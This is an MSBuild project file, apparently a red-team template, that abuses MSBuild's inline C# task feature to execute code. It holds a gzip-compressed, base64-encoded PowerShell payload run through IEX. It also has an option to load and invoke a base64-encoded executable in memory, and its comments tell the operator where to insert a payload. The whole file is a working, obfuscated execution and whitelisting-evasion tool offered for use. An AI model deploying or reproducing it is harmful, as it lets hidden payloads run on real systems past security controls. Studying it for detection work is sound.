89 lines
3.0 KiB
XML
89 lines
3.0 KiB
XML
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<!-- Original Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
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<!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee -->
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<!-- To be launched like so: cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe task1.xml -->
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<!-- Modified by Mariusz Banach / mgeeky. -->
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<Target Name="MyLittleInlineTaskName">
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<MyLittleInlineTask />
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</Target>
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<UsingTask
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TaskName="MyLittleInlineTask"
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TaskFactory="CodeTaskFactory"
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AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
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<Task>
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<Reference Include="System.Management.Automation" />
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<Code Type="Class" Language="cs">
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<![CDATA[
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using System;
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using System.IO;
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using System.Diagnostics;
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using System.Reflection;
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using System.Runtime.InteropServices;
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using System.Collections.ObjectModel;
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using System.Management.Automation;
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using System.Management.Automation.Runspaces;
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using System.Text;
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using Microsoft.Build.Framework;
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using Microsoft.Build.Utilities;
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public class MyLittleInlineTask : Task, ITask {
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public override bool Execute() {
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// Is your payload a raw EXE file?
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bool rawExeFile = false;
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if(!rawExeFile) {
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/*
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* Specifies whether Powershell payload is Base64 encoded.
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*/
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bool payloadBase64Encoded = false;
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/*
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* Here insert your plain multi-line Powershell snippet
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*/
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string payload = @"
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$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
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IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
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";
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Runspace runspace = RunspaceFactory.CreateRunspace();
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runspace.Open();
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RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
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Pipeline pipeline = runspace.CreatePipeline();
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if (!payloadBase64Encoded) {
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pipeline.Commands.AddScript(payload);
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}
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else {
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string payload2 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(payload));
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pipeline.Commands.AddScript(payload2);
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}
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pipeline.Invoke();
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runspace.Close();
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}
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else {
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/*
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* Here must be placed Base64 encoded raw EXE / PE file.
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*/
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string payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA [...]";
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byte[] decoded = System.Convert.FromBase64String(payload);
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Assembly asm = Assembly.Load(decoded);
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MethodInfo method = asm.EntryPoint;
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object ob = asm.CreateInstance(method.Name);
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method.Invoke(ob, null);
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}
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return true;
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}
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}
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]]>
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</Code>
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</Task>
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</UsingTask>
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</Project> |